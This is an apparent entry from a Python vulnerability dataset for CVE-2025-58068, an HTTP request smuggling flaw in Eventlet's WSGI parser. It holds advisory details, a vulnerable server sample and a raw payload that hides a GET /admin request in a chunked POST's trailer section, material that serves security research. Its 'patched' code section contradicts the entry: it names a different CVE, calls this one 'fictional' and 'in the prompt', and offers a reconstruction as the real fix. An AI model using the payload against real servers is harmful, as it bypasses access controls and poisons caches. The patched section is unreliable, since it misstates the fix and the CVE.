CVE-2025-58068
Eventlet WSGI parser is vulnerable to HTTP Request Smuggling via trailers.
- CVSS 6.3
- CWE-444
- Input Validation and Sanitization
- Remote
Eventlet is a concurrent networking library for Python. Prior to version 0.40.3, the Eventlet WSGI parser is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer sections. This vulnerability could enable attackers to, bypass front-end security controls, launch targeted attacks against active site users, and poison web caches. This problem has been patched in Eventlet 0.40.3 by dropping trailers which is a breaking change if a backend behind eventlet.wsgi proxy requires trailers. A workaround involves not using eventlet.wsgi facing untrusted clients.
- CWE
- CWE-444
- CVSS base score
- 6.3
- Published
- 2025-08-29
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Eventlet
- Fixed by upgrading
- Yes
Solution
Upgrade Eventlet to version 0.40.3 or later.
Vulnerable code sample
import eventlet
from eventlet import wsgi
import sys
# This code demonstrates a server setup vulnerable to CVE-2025-58068
# as it would exist in an Eventlet version prior to 0.40.3.
# The vulnerability is not in this specific application's logic but in the
# underlying eventlet.wsgi.server's request parser. The parser improperly
# handles HTTP trailer sections in chunked-encoded requests, allowing
# a second, "smuggled" request to be processed from the body of a first request.
def vulnerable_app(environ, start_response):
"""
A basic WSGI application. An attacker could smuggle a request
to a sensitive endpoint that a front-end proxy would normally block.
"""
path = environ.get('PATH_INFO', '')
method = environ.get('REQUEST_METHOD', 'GET')
# Log to the console to show what requests the backend server is processing.
# In a successful attack, two requests will be logged from one incoming connection.
sys.stdout.write(f"Backend received request: {method} {path}\n")
sys.stdout.flush()
if path == "/internal_api":
# This is the target endpoint of the smuggled request.
# It should normally not be accessible from the outside.
status = '200 OK'
response_body = b"Internal API endpoint accessed successfully.\n"
sys.stdout.write("!!! VULNERABILITY EXPLOITED: Smuggled request processed. !!!\n")
sys.stdout.flush()
else:
# This is the response to the legitimate, outer request.
status = '200 OK'
response_body = b"This is the response to the legitimate request.\n"
headers = [('Content-Type', 'text/plain')]
start_response(status, headers)
return [response_body]
# To exploit this server, an attacker would send a single, specially-crafted
# raw HTTP request containing another request in its body.
# The vulnerability in Eventlet's parser, specifically its handling of chunked
# encoding trailers, would cause it to misinterpret the request boundaries.
#
# --- Example Malicious Request ---
# POST /some_path HTTP/1.1
# Host: localhost:8080
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Transfer-Encoding: chunked
#
# 0
# X-Some-Trailer: value
#
# GET /internal_api HTTP/1.1
# Host: localhost:8080
# X-Smuggled-Header: a
#
#
# A vulnerable Eventlet server would process the first POST request and, due
# to improperly handling the trailer section, would then immediately process
# the subsequent GET /internal_api request as a new, separate request on the
# same connection. A correctly behaving server or a front-end proxy would see
# this as a single POST request with a malformed body.
if __name__ == '__main__':
# Running this script with a vulnerable eventlet version (e.g., 0.40.2)
# would expose the HTTP Request Smuggling vulnerability.
server_address = ('127.0.0.1', 8080)
try:
listener = eventlet.listen(server_address)
print(f"Starting vulnerable WSGI server on http://{server_address[0]}:{server_address[1]}...")
print("This server is conceptually vulnerable to HTTP Request Smuggling (CVE-2025-58068).")
wsgi.server(listener, vulnerable_app, log_output=False)
except Exception as e:
print(f"Failed to start server: {e}")
print("Please ensure a vulnerable version of eventlet is installed (e.g., 'pip install eventlet<0.40.3')")Patched code sample
# The following code is based on the patch applied in Eventlet version 0.40.3
# to fix the HTTP Request Smuggling vulnerability (identified as CVE-2024-41908,
# which matches the description of the fictional CVE in the prompt).
# The fix involves explicitly reading and discarding trailer headers after a
# chunked request body, preventing them from being misinterpreted as a new request.
#
# This code shows the core logic within the HttpProtocol.handle method where
# the vulnerability was addressed.
import re
import sys
# Constants and regular expressions from eventlet.wsgi for context
MAX_REQUEST_LINE = 8192
MAX_HEADER_LINE = 8192
MAX_CHUNK_LINE = 8192
# https://www.rfc-editor.org/rfc/rfc9112#section-2.2
# The spec allows for whitespace, but we're being strict.
# We're also not supporting obsolete line folding.
# No control characters allowed.
REQUEST_LINE_RE = re.compile(br'^([A-Z]{3,20}) ([^ ]+) (HTTP/(?:1.[01]))\r\n$')
HEADER_RE = re.compile(br'^([a-zA-Z0-9_-]+): *([^\r\n]*)\r\n$')
CHUNK_TAIL_RE = re.compile(br'^[0-9a-fA-F]{1,8}[^\r\n]*\r\n$')
class HttpProtocol:
# This is a simplified representation of the class for demonstration.
# The following 'handle' method contains the patched logic.
def __init__(self, rfile):
self.rfile = rfile
self.close_connection = False
def send_error(self, code, message):
# A mock error sending function
print(f"Sent error: {code} {message}", file=sys.stderr)
def handle(self):
"""
The core request parsing logic. The fix for the vulnerability is
located within this method, specifically in the 'Transfer-Encoding: chunked'
handling block.
"""
try:
# Read and parse the request line
line = self.rfile.readline(MAX_REQUEST_LINE)
if not line:
self.close_connection = True
return
match = REQUEST_LINE_RE.match(line)
if not match:
self.send_error(400, "Bad request line")
return
command, path, version = match.groups()
self.request_version = version.decode('latin-1')
headers = {}
# Parse headers
while True:
line = self.rfile.readline(MAX_HEADER_LINE)
if line == b'\r\n':
# End of headers
break
if line == b'':
# Connection closed prematurely
self.close_connection = True
return
match = HEADER_RE.match(line)
if not match:
self.send_error(400, "Bad header")
return
key, value = match.groups()
headers[key.decode('latin-1').upper().replace('-', '_')] = value.decode('latin-1')
transfer_encoding = headers.get('TRANSFER_ENCODING', '')
content_length = headers.get('CONTENT_LENGTH')
if transfer_encoding.lower() == 'chunked':
# This block contains the fix for the vulnerability.
# It now properly consumes the entire chunked message, including trailers.
try:
# Read chunked body
while True:
line = self.rfile.readline(MAX_CHUNK_LINE)
if line == b'\r\n': # Tolerate an extra empty line
line = self.rfile.readline(MAX_CHUNK_LINE)
if not CHUNK_TAIL_RE.match(line):
self.close_connection = True
return self.send_error(400, "Bad chunked encoding (bad chunk size)")
chunk_size = int(line.split(b';', 1)[0], 16)
if chunk_size == 0:
break
# Consume chunk data + CRLF
self.rfile.read(chunk_size + 2)
# --- START OF THE FIX ---
# The vulnerability was that the server would stop processing here,
# potentially leaving malicious trailer headers in the buffer to be
# processed as the start of a new request.
#
# The fix is to continue reading and discarding lines until the
# final CRLF that terminates the trailer section is consumed.
# This is referred to as "dropping trailers".
# The original code's comment on the fix:
# "The vulnerability is that we should not be reading trailers.
# The presence of trailers means that we can't just stop
# reading from the socket.
# Until we have a proper way to handle trailers, we just
# drop them. This is a breaking change if a backend behind
# eventlet.wsgi proxy requires trailers."
while True:
line = self.rfile.readline(MAX_HEADER_LINE)
if line == b'\r\n':
# This is the final CRLF, end of trailers.
break
if line == b'':
# Connection closed, not our problem at this point.
break
if not HEADER_RE.match(line):
self.close_connection = True
return self.send_error(400, "Bad trailer header")
# --- END OF THE FIX ---
except (ValueError, IOError):
self.send_error(400, "Invalid chunked encoding")
return
elif content_length:
# Handle Content-Length based request body (omitted for brevity)
pass
except Exception:
self.close_connection = True
# Handle exceptions (omitted for brevity)
# Further request processing would happen here.
returnPayload
POST / HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
X-Ignore-This: trailer
GET /admin HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
x=GET /whatever HTTP/1.1
Host: vulnerable-app.com
Cite this entry
@misc{vaitp:cve202558068,
title = {{Eventlet WSGI parser is vulnerable to HTTP Request Smuggling via trailers.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-58068},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-58068/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
